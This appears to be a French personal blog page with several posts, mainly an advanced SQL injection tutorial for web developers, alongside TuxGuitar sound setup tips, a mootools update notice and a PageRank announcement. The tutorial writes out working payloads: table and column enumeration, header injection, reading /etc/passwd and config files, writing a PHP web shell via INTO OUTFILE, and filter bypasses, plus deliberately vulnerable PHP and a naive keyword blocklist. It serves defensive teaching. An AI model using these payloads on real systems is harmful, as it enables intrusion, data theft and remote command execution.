TuxGuitar, comment résoudre le problème de son

tux-guitar

Bonjour!
Après avoir acheté une guitare il y a quelques semaines, et comme je suis sous linux, j’ai installé TuxGuitar, une excellente alternative à Guitar Pro. L’installation s’est bien déroulée sauf que quand je j’essaie d’écouter les accordes , il n’y avait pas de son!! ce billet est là pour vous épargner une longue recherche,

Si vous rencontrez le même problème suivez ces instructions :

Installer le synthétiseur TiMidity

Tous les sons produits par tuxguitar sont au format MIDI et nécessitent un synthétiseur il faut donc installer TiMidity pour la prise en charge du format, pour l’installer il suffit d’aller sur le menu « Application Ajouter/supprimer », chercher TiMidity et cocher la case Séquenceur MIDI TiMidity

Installer le synthétiseur TiMidity

Vérifier si les paquetages tuxguitar-alsa et tuxguitar-oss sont installés tuxguitar-jsa

Pour ce faire c’est simple :

sudo apt-get install tuxguitar-alsa et tuxguitar-oss tuxguitar-jsa

Pour info: tuxguitar-jsa permet d’autoriser JAVA dans les paramètres audio

Configurer TuxGuitar

Et dans la dernière étape, ouvrez TuxGuitar => Outils => Paramètres => Son

  • dans Séquenceur Midi choisissez: Real Time sequencer
  • Dans Port Midi choisissez : Gervill

un OK, et testez le sons ;)

Configurer tuxguitar

Voilà je vous souhaite un Happy Playing!

[Tutoriel] – SQL Injection Avancée (Partie 2)

Advanced SQL Injection

Advanced SQL Injection

Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l’épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d’erreurs et injecter des données depuis la base de données!

Aujourd’hui on verra de plus prêt le danger réel que représente une injection SQL sur un site, l’objectif est que tout développeur web aie conscience du risque encouru, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)

Savez vous qu’avec une injection SQL un attaquant peut:

  • Récupérer les noms des tables et des champs et injecter des données sensibles
  • Injecter un paramètre dans une entête HTTP
  • Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante

MySQL et information_schema

Alors pour commencer, et comme j’avais dis dans l’article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!

En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l’utilisateur courant

Le problème c’est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!

En reprenant l’exemple que j’avais donné dans le premier tutorial (Injecter des données depuis une table) , voici un bout de code qui permet de lister les noms des tables présentes sur une base!

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--

Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l’attaquant peut lister toutes les tables on rajoutant la clause LIMIT

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 1,1–
// ou encore
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 2.1–

Injection les noms des champs

Les noms des champs existent dans la table COLUMNS , un simple union peut permettre à un attaquant d’injecter ces derniers!
// afficher le premier champ

profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ –
// afficher le troisième champ
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ LIMIT 2,1–

SQL Injection et les entêtes HTTP

L’une parmi les erreurs que certains programmeurs commettent lors du développement d’une application, est le fait de faire confiance aux variables globales et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n’est pas suffisant

Voici un exemple pour démontrer le risque encouru:

On considère un script de vote, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l’adresse IP de l’utilisateur en prenant en compte l’utilisation d’un proxy (entête X_FORWARDED_FOR) avec la fonction suivante:

function get_real_ip(){
return isset($_SERVER['HTTP_X_FORWARDED_FOR'])
? $_SERVER['HTTP_X_FORWARDED_FOR']
: $_SERVER['REMOTE_ADDR'];
}

Le traitement se passe au niveau d’une page vote.php qui récupère la note et vérifie si l’adresse ip ne figure pas dans les liste des adresses ip ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d’erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l’article [toto] »

if(!empty($_POST['id']) && !empty($_POST['note']))
{
$article_id = intval($_POST['id']);
$note = intval($_POST['note']);
$ip = get_real_ip();
$req = mysql_query("SELECT ip,titre FROM votes WHERE id = '$article_id' AND ip = '$ip'") or die(mysql_error());
if(mysql_num_row($req) > 0){
$data = mysql_fetch_array();
echo "Désolé ".$data['ip']." mais vous avez déjà voté pour l'article ".htmlspecialchars($data['titre'])
}
else
{
// traitement ...
echo "Merci pour votre vote";
}
}

Que se passe t’il si un attaquant envoie la requête HTTP suivante:

POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
X_FORWARDED_FOR: ' union select user(),2--
Connection: close

id=1&note=10

Scénario

La fonction get_real_ip() retrouvera l’entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur : ‘ union select 1,2–

La requête SQL deviendra :

SELECT ip,titre FROM votes WHERE id = ’1′ AND ip = ‘ ‘ union select user(),1111–’

Le nombre de lignes retourné sera 1 > 0 donc le message suivant s’affichera :

Désolé [email protected] mais vous avez déjà voté pour l’article 1111

d’où [email protected] et 1111 correspondent respectivement à user() et 1111

Vous l’avez bien compris? Il est possible de polluer l’entête HTTP X_FORWARDED_FOR avec du code SQL (‘ union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d’une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l’utilisateur!

MYSQL et la permission FILE

Lire un fichier avec load_file()

Lors de la création d’un utilisateur dans MYSQL, l’administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l’utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d’une requête SELECT

exemple :

SELECT load_file(‘/home/user/data_articles.txt’) INTO articles ;

Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d’une injection sql peut permettre aux attaquants de lire n’importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d’un autre utilisateur sur le même serveur!

profile.php?id=-1 UNION SELECT null, load_file(‘/home/victimuser/public_html/config.php’)–

Écriture dans un fichier (OUTFILE/DUMPFILE)

Si la permission FILE est assignée à l’utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d’écriture soient assignés au dossier/fichier en question

Dans mysql les fonctions OUTFILE et DUMPFILE permettent d’écrire dans un fichier, ainsi un attaquant peut s’en servir pour injecter du code PHP:

Exemples:

profile.php?id=-1 UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO OUTFILE '/home/victime.com/public_html/uploads/shell.php'--

profile.php?id=-1 UNION SELECT null,  '<?php system(\$_GET[cmd]) ?>' INTO DUMPFILE '/home/victime.com/public_html/uploads/shell.php'--

L’exécution de cette requête provoquera la création d’un script shell.php dans le dossier nommé « uploads » et permettra à l’attaquant d’exécuter des commandes système sur le serveur avec les droits du daemon apache..

http://www.victime.ltd/uploads/shell.php?cmd=ls -l

Je vous laisse imaginer les conséquences que cela peut engendrer =)

SQL injection et urlencode()

J’ai remarqué sur certain script l’utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, enfaite ce n’est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :

Page : index.php?page=test

$sql = mysql_query(« SELECT title,content FROM pages WHERE page_name = ‘ ».urlencode($_GET['page']). » ‘ »);

Ce code peut bien échapper un signle quote d’où index.php?page=test’ génèrera la requête
SELECT title,content FROM pages WHERE page_name = ‘test%27′

Tout est normale jusque là! Le single quote ‘ est encodé en %27, mais que se passera t’il si on re-urlencode notre %27 en %2527 ? :)

Résultat: Ca va injecter un ‘ au nez de la requête, du coup l’appelle de la page :
index.php?page=test%2527 union select null, ‘Hello’– va produire la requête suivante :

SELECT title,content FROM pages WHERE page_name=’test’ union select null,’Hello’–’

Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)

MySQL et magic_quote_gpc

magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet
d’ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si
cette directive est activée, il n’est pas possible d’injecter un signle quote dans une requête à une
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n’y a pas que $_GET/$_POST/$_COOKIE en PHP =)

Voici des exemples d’un contournement possible permettant d’injecter une chaine en l’encodant en hexadécimal :

Profile.php?id=-1, load_file(0x2f6574632f706173737764)–

la chaine 0x2f6574632f706173737764 en hexa correspond à /etc/passwd en ascii, ainsi un attaquant peut encoder n’importe quelle chaine pour injecter, par exemple, les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..

L’activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l’activer et se dire que vous êtes à l’abri :)

les Filtres anti-sql injection

Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l’utilisateurs et detecter une éventuelle tentative d’attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d’être contourné!

Voici un exemple d’un filtre qui detecte le mot clé UNION dans une requette:

$apply_to = array('GET','POST','COOKIE');
$bad_words = array('union','order by','select','from','where');
foreach($apply_to as $g){
foreach($$g as $key => $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die('SQL Injection Attempt detected');
// Writing the log attaque into log file
}
}
}
}

Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!

immaginons l’appelle de la page

profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users–

un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c’est juste un exemple pour dire qu’avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible et peut rendre l’application web très restrictives, le mieux à mon avis est d’adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d’un pirate ;)

Comment se protéger contrer les injections SQL?

Voilà donc! J’ai essayé d’exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c’est que chaque programmeur aie une vision claire de ce qu’un attaquant peut faire en passant par une injection!

Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :

  • Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l’exploitation d’une injection (si elle existe) plus difficile pour un attaquant!
  • Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!
  • Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête
  • Ne jamais donner les droits FILE aux utilisateurs mysql
  • Après l’installation d’un serveur dedié, pensez à modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases!
  • N’utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()
  • Pensez toujours à lire les fichiers logs d’apache, repérez les URL suspect et vérifier si c’est susceptible d’être vulnerable :)

Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J’espère que ce tutorial vous a été utile, n’hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)

Mettez à jours vos anciennes versions de mootools!

logo_mootoolsSi vous êtes utilisateur de mootools, je vous invite à mettre à jour vos versions de Mootools et aussi Mootools More, Vos scripts risquent de ne pas marcher sur les prochaines version de Firefox 3.6!

Pourquoi?

En fait, pour savoir si le navigateur est basé sur le moteur Gecko, mootools effectuais un test en s’appuyant sur la méthode document.getBoxObjectFor, cette méthode sera retirée de Firefox à partir de la version 3.6 ! Et comme Firefox est basé sur Gecko, tous les sites utilisant une ancienne version de mootools peuvent avoir des problèmes de compatibilité avec les prochaines versions de Firefox >= 3.6!

La détection du moteur Gecko avec document.getBoxObjectFor est utilisé 2 fois dans mootools, les deux sont reliées à la gestion des évènements, la première affecte la méthode Event.relatedTarget qui est utilisée dans plusieurs parties du noyau et la deuxième affecte l’évènement mousewheel qui est utilisé dans la classe Fx.Scroll.

Mettez à jours vos sites!

Si vous avez des sites en production utilisant mootools pensez à les mettre à jour! A noter que tous les sites propulsés par Joomla! 1.5 sont affectés vu que cette dernière intègre mootools de façon native!

  • Pour les anciennes versions mootools 1.1* par ici
  • Et pour mootools 1.2.4 par ici

Happy Update ;)

mcherifi Blog passe à Page Rank 3

Bonjour!

Mes amis! j’ai le plaisir de vous annoncer que mon blog vient de passer à pagerank 3, tous cela gràce à vous! Un grand merci à tous ceux qui me lisent, à ceux qui me laissent des commentaires ainsi à tous les aboonées au flux RSS, un GRAND merci également à Abdelkader ELKALIDI pour ses backlinks=)

Je vous rappelle que je suis toujours ouvert à vos suggéstions et vos propositions, n’hésitez pas à me faire part de vos avis!